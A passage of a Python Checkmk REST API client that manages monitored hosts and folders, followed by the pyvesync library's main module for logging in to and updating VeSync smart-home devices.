js.loads(res.content.decode('utf-8')) #Beautifying JSON output print(js.dumps(dmp, indent=4)) print() else: print('No returned data') print('\tRESPONSE HEADERS: ', end='') print(res.headers) return res #Show all hosts (GET) def host_get_all(self,send=True,display_req=False,display_res=False): res = self.exec('/domain-types/host_config/collections/all',send=send,display_req=display_req,display_res=display_res) if (res == None): print('Response is None') else: # HTTP 200 OK if (res.status_code == 200): #print('\n##################################') #print('200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') dmp = js.loads(cont) #Beautifying JSON output #print(js.dumps(dmp, indent=4)) values = dmp['value'] hosts = [] for i in values: id = i['id'] host = Host(id) host.set_using_json(i) hosts.append(host) return hosts else: print('\n##################################') print('FAILED HTTP response is not 200 OK') print('##################################\n') return None #Show a host (GET) #effective_attributes - Show all effective attributes, which affect this host, not just the attributes which were set on this host specifically. This includes all attributes of all of this host's parent folders. def host_get(self,host_name,effective_attributes=False,send=True,display_req=False,display_res=False): option1 = '' if (effective_attributes == True): option1 = '?effective_attributes=true' res = self.exec(f'/objects/host_config/{host_name}{option1}',send=send,display_req=display_req,display_res=display_res) if (res == None): print('Response is None') else: # HTTP 200 OK if (res.status_code == 200): #print('\n##################################') #print('200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #print('dmp') #print(dmp) #print() #print(dmp['links']) #Beautifying JSON output #print() #print(js.dumps(json_dmp, indent=4)) #print() #print() #print(res.headers['ETag']) #print() #print() #print(json_dmp) #print() etag = res.headers['ETag'] host = Host(host_name) host.set_using_json(json_dmp) return (host, etag) #else: #print('\n##################################') #print('FAILED HTTP response is not 200 OK') #print('##################################\n') return None #GET /domain-types/folder_config/collections/all Show all folders #Lists subfolders (and the hosts in subfolders) of folder x. It won't show the files that are in folder x. # #Get all folders in a folder (can show hosts in folder and work recursively) #parent string - Show all sub-folders of this folder. The default is the root-folder. Path delimiters can be either ~, / or \. Please use the one most appropriate for your quoting/escaping needs. A good default choice is ~. #recursive boolean - List the folder (default: root) and all its sub-folders recursively. #show_hosts boolean - When set, all hosts that are stored in each folder will also be shown. On large setups this may come at a performance cost, so by default this is switched off. def get_all_folders(self,parent,recursive=False,show_hosts=False,send=True,display_req=False,display_res=False): if (parent == None): raise ValueError('parent cannot be none') parent_str = f'parent={parent}' if (recursive == True): recursive_str = 'recursive=true' else: recursive_str = 'recursive=false' if (show_hosts == True): show_hosts_str = 'show_hosts=true' else: show_hosts_str = 'show_hosts=false' #/domain-types/folder_config/collections/all?parent=~&recursive=false&show_hosts=false res = self.exec(f'/domain-types/folder_config/collections/all?{parent_str}&{recursive_str}&{show_hosts_str}',send=send,display_req=display_req,display_res=display_res) if (res == None): print('Response is None') else: # HTTP 200 OK if (res.status_code == 200): #print('\n##################################') #print('200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #print('dmp') #print(dmp) #print() #print(dmp['links']) #Beautifying JSON output #print() #print(js.dumps(json_dmp, indent=4)) #print() #print() #print(json_dmp) #print() id = json_dmp['id'] domainType = json_dmp['domainType'] value = json_dmp['value'] response_header = res.headers #print(f'id: {id}') #print(f'domainType: {domainType}') #print(value) #print(len(value)) folders = [] for i in value: #print(i) value_id = i['id'] value_title = i['title'] value_domain_type = i['domainType'] value_extensions = i['extensions'] value_path = value_extensions['path'] value_attributes = value_extensions['attributes'] value_meta_data = value_attributes['meta_data'] value_created_at = value_meta_data['created_at'] value_updated_at = value_meta_data['updated_at'] value_created_by = value_meta_data['created_by'] hosts_in_folder = None value_members = i['members'] if ('hosts' in value_members): value_members_hosts = value_members['hosts'] if ('value' in value_members_hosts): value_members_hosts_value = value_members_hosts['value'] hosts_in_folder = [] for j in value_members_hosts_value: #print(j) host_title = j['title'] #print(f'host_title: {host_title}') hosts_in_folder.append(host_title) #print(f'value_id: {value_id}') #print(f'value_title: {value_title}') #print(f'value_domain_type: {value_domain_type}') #print(f'value_extensions: {value_extensions}') #print(f'value_path: {value_path}') #print(f'value_attributes: {value_attributes}') #print(f'value_created_by: {value_created_by}') #print(f'value_updated_at: {value_updated_at}') #print(f'value_created_by: {value_created_by}') #print() folder = Folder(value_id, value_title, value_domain_type, value_path, value_created_at, value_updated_at, value_created_by) folder = Folder(value_id, value_title, value_domain_type, value_path, hosts_in_folder, value_created_at, value_updated_at, value_created_by) #print() #folder.output(1) #print() folders.append(folder) #for i in value: # print(i) # domainType = value['domainType'] # print(f'domainType: {domainType}') #host = Host() #host.set_using_json(json_dmp) #ok = Create_ok(title,response_header,id,domain_type,members,extensions) ok = GetAllFolders_ok(response_header, id, domainType, folders) return GetAllFolders(res.status_code, ok) else: #print('\n##################################') #print('FAILED HTTP response is not 200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #Beautifying JSON output #print() #print(js.dumps(json_dmp, indent=4)) #print() title = json_dmp['title'] status = json_dmp['status'] detail = json_dmp['detail'] fields = json_dmp['fields'] response_header = res.headers fail = GetAllFolders_fail(title,response_header,status,detail,fields) return GetAllFolders(res.status_code, fail) return None #GET /objects/folder_config/{folder}/collections/hosts Show all hosts in a folder #folder string - The path of the folder being requested. Please be aware that slashes can't be used in the URL. Also, escaping the slashes via %2f will not work. Please replace the path delimiters with the tilde character ~. Path delimiters can be either ~, / or \. Please use the one most appropriate for your quoting/escaping needs. A good default choice is ~. def show_all_hosts(self,folder,send=True,display_req=False,display_res=False): if (folder == None): raise ValueError('folder cannot be none') #/domain-types/folder_config/collections/all?parent=~&recursive=false&show_hosts=false res = self.exec(f'/objects/folder_config/{folder}/collections/hosts',send=send,display_req=display_req,display_res=display_res) if (res == None): print('Response is None') else: # HTTP 200 OK if (res.status_code == 200): #print('\n##################################') #print('200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #print('dmp') #print(dmp) #print() #print(dmp['links']) #Beautifying JSON output #print() #print(js.dumps(json_dmp, indent=4)) #print() #print() #print(json_dmp) #print() id = json_dmp['id'] domainType = json_dmp['domainType'] value = json_dmp['value'] response_header = res.headers #print(f'id: {id}') #print(f'domainType: {domainType}') #print(value) #print(len(value)) hosts = [] for i in value: #print(host) value_id = i['id'] #value_domain_type = host['domainType'] #value_title = host['title'] #value_extensions = host['extensions'] #value_extensions_attributes = value_extensions['attributes'] #value_alias = value_extensions_attributes['alias'] #value_metadata = value_extensions_attributes['meta_data'] #value_created_at = value_metadata['created_at'] #value_updated_at = value_metadata['updated_at'] #value_created_by = value_metadata['created_by'] #value_is_cluster = value_extensions['is_cluster'] #value_is_offline = value_extensions['is_offline'] #cmk_host = Host(value_id, value_title, value_folder, value_ip, value_alias) cmk_host = Host(value_id) cmk_host.set_using_json(i) #cmk_host.output(1) hosts.append(cmk_host) #for i in value: # print(i) # domainType = value['domainType'] # print(f'domainType: {domainType}') #host = Host() #host.set_using_json(json_dmp) #ok = Create_ok(title,response_header,id,domain_type,members,extensions) #ok = GetAllFolders_ok(response_header, id, domainType, folders) #return GetAllFolders(res.status_code, ok) return hosts else: #print('\n##################################') #print('FAILED HTTP response is not 200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string #cont = res.content.decode('utf-8') #json_dmp = js.loads(cont) #Beautifying JSON output #print() #print(js.dumps(json_dmp, indent=4)) #print() return None return None # POST /objects/host/{host_name}/actions/discover_services/invoke Execute a service discovery on a host def discover_services(self,host,mode,send=True,display_req=False,display_res=False): #If object of class Host if (type(host) == Host): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') host_name = host.id #If string elif (type(host) == str): host_name = host if (mode == None or ( mode != 'new' and mode != 'remove' and mode != 'fix_all' and mode != 'refresh' and mode != 'only_host_labels' )): raise ValueError('Mode has to be one of values \'new\', \'remove\', \'fix_all\', \'refresh\' or \'only_host_labels\'') # one of the enum values: ['new', 'remove', 'fix_all', 'refresh', 'only_host_labels'] #Build json base = {} base['mode'] = mode base_data = js.dumps(base) res = self.exec(f'/objects/host/{host_name}/actions/discover_services/invoke',req_type='POST',data=base_data,send=send,display_req=display_req,display_res=display_res) if (res == None): print('Response is None') else: # HTTP 200 OK if (res.status_code == 200): #print('\n##################################') #print('200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #print('dmp') #print(dmp) #print() #print(dmp['links']) #Beautifying JSON output #print() #print(js.dumps(json_dmp, indent=4)) #print() #print(dmp['id']) #print(dmp['title']) #print(dmp['extensions']) #id = dmp['id'] #title = dmp['title'] #host = Host(id, title) #print() #print(json_dmp) #print() #host = Host(dmp) #host = Host() #host.set_using_json(dmp) title = json_dmp['title'] id = json_dmp['id'] domain_type = json_dmp['domainType'] members = json_dmp['members'] extensions = json_dmp['extensions'] response_header = res.headers ok = Discover_ok(title,response_header,id,domain_type,members,extensions) return Discover(res.status_code, ok) else: #print('\n##################################') #print('FAILED HTTP response is not 200 OK') #print('##################################\n') cont = res.content.decode('utf-8') json_dmp = js.loads(cont) title = json_dmp['title'] status = json_dmp['status'] detail = json_dmp['detail'] response_header = res.headers fail = Discover_fail(title,response_header,status,detail) return Discover(res.status_code, fail) return None # POST /domain-types/activation_run/actions/activate-changes/invoke Activate pending changes #def activate_changes(self,site,force_foreign_changes=False,send=True,display_req=False,display_res=False): def activate_changes(self,force_foreign_changes=False,send=True,display_req=False,display_res=False): site = self.site_name str_force_foreign_changes = 'true' if force_foreign_changes == True else 'false' data = '''{ "redirect": false, "sites": [ "%s" ], "force_foreign_changes": %s } ''' % (site,str_force_foreign_changes) res = self.exec(f'/domain-types/activation_run/actions/activate-changes/invoke',req_type='POST',data=data,send=send,display_req=display_req,display_res=display_res) if (res == None): print('Response is None') else: # HTTP 200 OK if (res.status_code == 200): #print('\n##################################') #print('200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #Beautifying JSON output #print(js.dumps(json_dmp, indent=4)) title = json_dmp['title'] id = json_dmp['id'] domain_type = json_dmp['domainType'] members = json_dmp['members'] extensions = json_dmp['extensions'] response_header = res.headers ok = Changes_ok(title,response_header,id,domain_type,members,extensions) return Change(res.status_code, ok) else: #print('\n##################################') #print('FAILED HTTP response is not 200 OK') #print('##################################\n') cont = res.content.decode('utf-8') json_dmp = js.loads(cont) title = json_dmp['title'] status = json_dmp['status'] detail = json_dmp['detail'] response_header = res.headers fail = Changes_fail(title,response_header,status,detail) return Change(res.status_code, fail) return None # PUT /objects/host_config/{host_name} Update a host # Update a checkmk host with request body (data) as variable # Host etag is a value that changes on every modification # # Examples for function parameter data: # # Change checkmk host parameter (don't change other parameters): # {"update_attributes": {"tag_pumpa": "bs0050"}} # # Change all checkmk host parameters (any parameters not defined in body will be cleared) # {"attributes": {"ipaddress": "192.168.0.6"}} # # Remove checkmk parameter (don't change other parameters): # {"remove_attributes": ["tag_pumpa_type"]} def update_host(self,host,data,etag,send=True,display_req=False,display_res=False): #If object of class Host if (type(host) == Host): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') hostname = host.id #If string elif (type(host) == str): hostname = host #Modify header to contain etag header = {} header['accept'] = 'application/json' header['If-Match'] = etag header['Content-Type'] = 'application/json' res = self.exec(f'/objects/host_config/{hostname}',req_type='PUT',data=data,send=send,display_req=display_req,display_res=display_res,header=header) if (res == None): print('Response is None') else: # HTTP 200 OK if (res.status_code == 200): #print('\n##################################') #print('200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #Beautifying JSON output #print(js.dumps(json_dmp, indent=4)) title = json_dmp['title'] id = json_dmp['id'] domain_type = json_dmp['domainType'] members = json_dmp['members'] extensions = json_dmp['extensions'] response_header = res.headers #ok = Changes_ok(title,response_header,id,domain_type,members,extensions) ok = Update_ok(title,response_header,id,domain_type,members,extensions) #return Change(res.status_code, ok) return Update(res.status_code, ok) else: #print('\n##################################') #print('FAILED HTTP response is not 200 OK') #print('##################################\n') cont = res.content.decode('utf-8') json_dmp = js.loads(cont) title = json_dmp['title'] status = json_dmp['status'] detail = json_dmp['detail'] response_header = res.headers #fail = Changes_fail(title,response_header,status,detail) fail = Update_fail(title,response_header,status,detail) #return Change(res.status_code, fail) return Update(res.status_code, fail) return None # PUT /objects/host_config/{host_name} Update a host # Remove tag group from host def remove_host_tag(self,host,tag_group,send=True,display_req=False,display_res=False): #If object of class Host if (type(host) == Host): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') hostname = host.id #If string elif (type(host) == str): hostname = host if (tag_group == None): raise ValueError('tag_group cannot be None') # Define web service data data = {} data['remove_attributes'] = [ tag_group, ] data = js.dumps(data) #Get host etag (value that changes on every modification) etag = self.get_etag(hostname) #Call generic update call with our specific data and etag return self.update_host(hostname,data,etag,send,display_req,display_res) # PUT /objects/host_config/{host_name} Update a host # Update (set new or update existing) tag def update_host_tag(self,host,tag_group,tag_group_value,send=True,display_req=False,display_res=False): #If object of class Host if (type(host) == Host): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') hostname = host.id #If string elif (type(host) == str): hostname = host if (tag_group == None or tag_group_value == None): raise ValueError('tag_group or tag_group_value cannot be None') # Define web service data data = {} data['update_attributes'] = {} data['update_attributes'][tag_group] = tag_group_value data = js.dumps(data) #Get host etag (value that changes on every modification) etag = self.get_etag(hostname) #Call generic update call with our specific data and etag return self.update_host(hostname,data,etag,send,display_req,display_res) # PUT /objects/host_config/{host_name} Update a host # Remove ipaddress (resolve ip from hostname) def remove_host_ipaddress(self,host,send=True,display_req=False,display_res=False): #If object of class Host if (type(host) == Host): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') hostname = host.id #If string elif (type(host) == str): hostname = host # Define web service data data = {} data['remove_attributes'] = [ 'ipaddress', ] data = js.dumps(data) #Get host etag (value that changes on every modification) etag = self.get_etag(hostname) #Call generic update call with our specific data and etag return self.update_host(hostname,data,etag,send,display_req,display_res) # PUT /objects/host_config/{host_name} Update a host # Update (set new or update existing) ipaddress def update_host_ipaddress(self,host,ipaddress,send=True,display_req=False,display_res=False): #If object of class Host if (type(host) == Host): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') hostname = host.id #If string elif (type(host) == str): hostname = host if (ipaddress == None): raise ValueError('ipaddress cannot be None') # Define web service data data = {} data['update_attributes'] = {} data['update_attributes']['ipaddress'] = ipaddress data = js.dumps(data) #Get host etag (value that changes on every modification) etag = self.get_etag(hostname) #Call generic update call with our specific data and etag return self.update_host(hostname,data,etag,send,display_req,display_res) #Get host etag (value that changes on every modification) def get_etag(self,host): #If object of class Host if (type(host) == Host): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') hostname = host.id #If string elif (type(host) == str): hostname = host #Get host data host1 = self.host_get(hostname,effective_attributes=True,send=True,display_req=False,display_res=False) #If hostname was found we also got etag value if (host1 != None): etag = host1[1] #print(f'etag: {etag}') return etag else: #print(f'No host {hostname} found!\n') #Return empty string so that subsequent REST calls are going to get status 404 return '' # POST /domain-types/host_config/collections/all Create a host def create_host(self,host,send=True,display_req=False,display_res=False): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') #Build json base = {} #base['id'] = host.id #rest doesn't accept id #base['title'] = host.title #rest doesn't accept title base['host_name'] = host.id base['folder'] = host.folder if (host.ipaddress != None or host.alias != None): attributes = {} if (host.ipaddress != None): attributes['ipaddress'] = host.ipaddress if (host.alias != None): attributes['alias'] = host.alias #Add attributes to base in json base['attributes'] = attributes print('base:') print(js.dumps(base, indent=4)) #data = ''' #{ # "folder": "%s", # "host_name": "%s", # "attributes": { # "ipaddress": "192.168.0.123" #} #} #''' % (host.folder,host.id) #print('data:') #print(data) res = self.exec(f'/domain-types/host_config/collections/all',req_type='POST',data=js.dumps(base),send=send,display_req=display_req,display_res=display_res) #res = None if (res == None): print('Response is None') else: # HTTP 200 OK if (res.status_code == 200): #print('\n##################################') #print('200 OK') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #print('dmp') #print(dmp) #print() #print(dmp['links']) #Beautifying JSON output #print() #print(js.dumps(json_dmp, indent=4)) #print() #print() #print(json_dmp) #print() #print(dmp['id']) #print(dmp['title']) #print(dmp['extensions']) #id = dmp['id'] #title = dmp['title'] #host = Host(id, title) #host = Host(dmp) title = json_dmp['title'] id = json_dmp['id'] domain_type = json_dmp['domainType'] members = json_dmp['members'] extensions = json_dmp['extensions'] response_header = res.headers ok = Create_ok(title,response_header,id,domain_type,members,extensions) return Create(res.status_code, ok) #host = Host() #host.set_using_json(json_dmp) #return host else: #print('\n##################################') #print('FAILED HTTP response is not 200 OK') #print('##################################\n') cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #print() #print(js.dumps(json_dmp, indent=4)) #print() #print() #print(json_dmp) #print() title = json_dmp['title'] status = json_dmp['status'] detail = json_dmp['detail'] fields = json_dmp['fields'] response_header = res.headers fail = Create_fail(title,response_header,status,detail,fields) return Create(res.status_code, fail) return None # DELETE /objects/host_config/{host_name} Delete a host def delete_host(self,host,send=True,display_req=False,display_res=False): if (host == None or host.id == None or host.folder == None): raise ValueError('Empty id or folder is not allowed') #print('host_id') #print(host.id) #header = {'accept':'application/json', 'Content-Type':'application/json' } #header = {'accept':'*/*'} res = self.exec(f'/objects/host_config/{host.id}',req_type='DELETE',data=None,send=send,display_req=display_req,display_res=display_res) #print('res') #print(res) #print('status_code:') #print(res.status_code) if (res == None): print('Response is None') else: # HTTP 204 (No Content: Operation done successfully. No further output.) if (res.status_code == 204): #print('\n##################################') #print('204 (No Content: Operation done successfully. No further output.)') #print('##################################\n') #res.content are bytes, decode them to produce string cont = res.content.decode('utf-8') #if (len(cont) == 0): # print('Returned zero string') #else: # print('Returned non zero string') #print() #print('cont:') #print(cont) #print(len(cont)) #print(cont == None) #json_dmp = js.loads(cont) #print('dmp') #print(dmp) #print() #print(dmp['links']) #Beautifying JSON output #print('json_dmp:') #print(js.dumps(json_dmp, indent=4)) #print() #print('json_dmp:') #print(json_dmp) #print() #print(dmp['id']) #print(dmp['title']) #print(dmp['extensions']) #id = dmp['id'] #title = dmp['title'] #host = Host(id, title) #host = Host(dmp) #print() #print(res.headers) #print() title = '' response_header = '' if (len(cont) == 0): #print('Returned only header') title = '204 No Content: Operation done successfully. No further output.' response_header = res.headers else: raise ValueError('Returned data and header. Not defined') ok = Delete_ok(title,response_header) return Delete(res.status_code, ok) #host = Host() #host.set_using_json(json_dmp) #return host else: #print('\n##################################') #print('FAILED HTTP response is not 204 (No Content: Operation done successfully. No further output.)') #print('##################################\n') cont = res.content.decode('utf-8') json_dmp = js.loads(cont) #print('json_dmp:') #print(js.dumps(json_dmp, indent=4)) #print() #print('json_dmp:') #print(json_dmp) #print() title = json_dmp['title'] status = json_dmp['status'] detail = json_dmp['detail'] fields = json_dmp['fields'] response_header = res.headers fail = Delete_fail(title,response_header,status,detail,fields) return Delete(res.status_code, fail) return None

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a87d783d0d8d9218226e9274f60f229d28223902

11,287

py

Python

src/pyvesync/vesync.py

RedbeardWally/pyvesync

c41eb8a77e68cc357f558e4fa413e42f9ba68658

[ "MIT" ]

null

src/pyvesync/vesync.py

RedbeardWally/pyvesync

c41eb8a77e68cc357f558e4fa413e42f9ba68658

[ "MIT" ]

null

src/pyvesync/vesync.py

RedbeardWally/pyvesync

c41eb8a77e68cc357f558e4fa413e42f9ba68658

[ "MIT" ]

null

"""VeSync API Device Libary.""" import logging import re import time from itertools import chain from typing import Tuple from pyvesync.helpers import Helpers from pyvesync.vesyncbasedevice import VeSyncBaseDevice from pyvesync.vesyncbulb import * # noqa: F403, F401 import pyvesync.vesyncbulb as bulb_mods from pyvesync.vesyncfan import * # noqa: F403, F401 import pyvesync.vesyncfan as fan_mods from pyvesync.vesyncoutlet import * # noqa: F403, F401 import pyvesync.vesyncoutlet as outlet_mods from pyvesync.vesyncswitch import * # noqa: F403, F401 import pyvesync.vesyncswitch as switch_mods logger = logging.getLogger(__name__) API_RATE_LIMIT: int = 30 DEFAULT_TZ: str = 'America/New_York' DEFAULT_ENER_UP_INT: int = 21600 def object_factory(dev_type, config, manager) -> Tuple[str, VeSyncBaseDevice]: """Get device type and instantiate class.""" def fans(dev_type, config, manager): fan_cls = fan_mods.fan_modules[dev_type] # noqa: F405 fan_obj = getattr(fan_mods, fan_cls) return 'fans', fan_obj(config, manager) def outlets(dev_type, config, manager): outlet_cls = outlet_mods.outlet_modules[dev_type] # noqa: F405 outlet_obj = getattr(outlet_mods, outlet_cls) return 'outlets', outlet_obj(config, manager) def switches(dev_type, config, manager): switch_cls = switch_mods.switch_modules[dev_type] # noqa: F405 switch_obj = getattr(switch_mods, switch_cls) return 'switches', switch_obj(config, manager) def bulbs(dev_type, config, manager): bulb_cls = bulb_mods.bulb_modules[dev_type] # noqa: F405 bulb_obj = getattr(bulb_mods, bulb_cls) return 'bulbs', bulb_obj(config, manager) if dev_type in fan_mods.fan_modules: # type: ignore # noqa: F405 type_str, dev_obj = fans(dev_type, config, manager) elif dev_type in outlet_mods.outlet_modules: # type: ignore # noqa: F405 type_str, dev_obj = outlets(dev_type, config, manager) elif dev_type in switch_mods.switch_modules: # type: ignore # noqa: F405 type_str, dev_obj = switches(dev_type, config, manager) elif dev_type in bulb_mods.bulb_modules: # type: ignore # noqa: F405 type_str, dev_obj = bulbs(dev_type, config, manager) else: logger.debug('Unknown device named %s model %s', config.get('deviceName', ''), config.get('deviceType', '') ) type_str = 'unknown' dev_obj = None return type_str, dev_obj class VeSync: # pylint: disable=function-redefined """VeSync API functions.""" def __init__(self, username, password, time_zone=DEFAULT_TZ, debug=False): """Initialize VeSync class with username, password and time zone.""" self.debug = debug if debug: logger.setLevel(logging.DEBUG) self.username = username self.password = password self.token = None self.account_id = None self.devices = None self.enabled = False self.update_interval = API_RATE_LIMIT self.last_update_ts = None self.in_process = False self._energy_update_interval = DEFAULT_ENER_UP_INT self._energy_check = True self._dev_list = {} self.outlets = [] self.switches = [] self.fans = [] self.bulbs = [] self.scales = [] self._dev_list = { 'fans': self.fans, 'outlets': self.outlets, 'switches': self.switches, 'bulbs': self.bulbs } if isinstance(time_zone, str) and time_zone: reg_test = r'[^a-zA-Z/_]' if bool(re.search(reg_test, time_zone)): self.time_zone = DEFAULT_TZ logger.debug('Invalid characters in time zone - %s', time_zone) else: self.time_zone = time_zone else: self.time_zone = DEFAULT_TZ logger.debug('Time zone is not a string') @property def energy_update_interval(self) -> int: """Return energy update interval.""" return self._energy_update_interval @energy_update_interval.setter def energy_update_interval(self, new_energy_update: int) -> None: """Set energy update interval in seconds.""" if new_energy_update > 0: self._energy_update_interval = new_energy_update @staticmethod def remove_dev_test(device, new_list: list) -> bool: """Test if device should be removed - False = Remove.""" if isinstance(new_list, list) and device.cid: for item in new_list: device_found = False if 'cid' in item: if device.cid == item['cid']: device_found = True break else: logger.debug('No cid found in - %s', str(item)) if not device_found: logger.debug( 'Device removed - %s - %s', device.device_name, device.device_type ) return False return True def add_dev_test(self, new_dev: dict) -> bool: """Test if new device should be added - True = Add.""" if 'cid' in new_dev: for _, v in self._dev_list.items(): for dev in v: if ( dev.cid == new_dev.get('cid') and new_dev.get('subDeviceNo', 0) == dev.sub_device_no ): return False return True def remove_old_devices(self, devices: list) -> bool: """Remove devices not found in device list return.""" for k, v in self._dev_list.items(): before = len(v) v[:] = [x for x in v if self.remove_dev_test(x, devices)] after = len(v) if before != after: logger.debug('%s %s removed', str((before - after)), k) return True @staticmethod def set_dev_id(devices: list) -> list: """Correct devices without cid or uuid.""" dev_num = 0 dev_rem = [] for dev in devices: if dev.get('cid') is None: if dev.get('macID') is not None: dev['cid'] = dev['macID'] elif dev.get('uuid') is not None: dev['cid'] = dev['uuid'] else: dev_rem.append(dev_num) logger.warning('Device with no ID - %s', dev.get('deviceName')) dev_num += 1 if dev_rem: devices = [i for j, i in enumerate( devices) if j not in dev_rem] return devices def process_devices(self, dev_list: list) -> bool: """Instantiate Device Objects.""" devices = VeSync.set_dev_id(dev_list) num_devices = 0 for _, v in self._dev_list.items(): if isinstance(v, list): num_devices += len(v) else: num_devices += 1 if not devices: logger.warning('No devices found in api return') return False if num_devices == 0: logger.debug('New device list initialized') else: self.remove_old_devices(devices) devices[:] = [x for x in devices if self.add_dev_test(x)] detail_keys = ['deviceType', 'deviceName', 'deviceStatus'] for dev in devices: if not all(k in dev for k in detail_keys): logger.debug('Error adding device') continue dev_type = dev.get('deviceType') try: device_str, device_obj = object_factory(dev_type, dev, self) device_list = getattr(self, device_str) device_list.append(device_obj) except AttributeError as err: logger.debug('Error - %s', err) logger.debug('%s device not added', dev_type) continue return True def get_devices(self) -> bool: """Return tuple listing outlets, switches, and fans of devices.""" if not self.enabled: return False self.in_process = True proc_return = False response, _ = Helpers.call_api( '/cloud/v1/deviceManaged/devices', 'post', headers=Helpers.req_headers(self), json=Helpers.req_body(self, 'devicelist'), ) if response and Helpers.code_check(response): if 'result' in response and 'list' in response['result']: device_list = response['result']['list'] if self.debug: logger.debug(str(device_list)) proc_return = self.process_devices(device_list) else: logger.error('Device list in response not found') else: logger.warning('Error retrieving device list') self.in_process = False return proc_return def login(self) -> bool: """Return True if log in request succeeds.""" user_check = isinstance(self.username, str) and len(self.username) > 0 pass_check = isinstance(self.password, str) and len(self.password) > 0 if user_check is False: logger.error('Username invalid') return False if pass_check is False: logger.error('Password invalid') return False response, _ = Helpers.call_api( '/cloud/v1/user/login', 'post', json=Helpers.req_body(self, 'login') ) if Helpers.code_check(response) and 'result' in response: self.token = response.get('result').get('token') self.account_id = response.get('result').get('accountID') self.enabled = True return True logger.error('Error logging in with username and password') return False def device_time_check(self) -> bool: """Test if update interval has been exceeded.""" if ( self.last_update_ts is None or (time.time() - self.last_update_ts) > self.update_interval ): return True return False def update(self) -> None: """Fetch updated information about devices.""" if self.device_time_check(): if not self.enabled: logger.error('Not logged in to VeSync') return self.get_devices() devices = list(self._dev_list.values()) for device in chain(*devices): device.update() self.last_update_ts = time.time() def update_energy(self, bypass_check=False) -> None: """Fetch updated energy information about devices.""" if self.outlets: for outlet in self.outlets: outlet.update_energy(bypass_check) def update_all_devices(self) -> None: """Run get_details() for each device.""" devices = list(self._dev_list.keys()) for dev in chain(*devices): dev.get_details()

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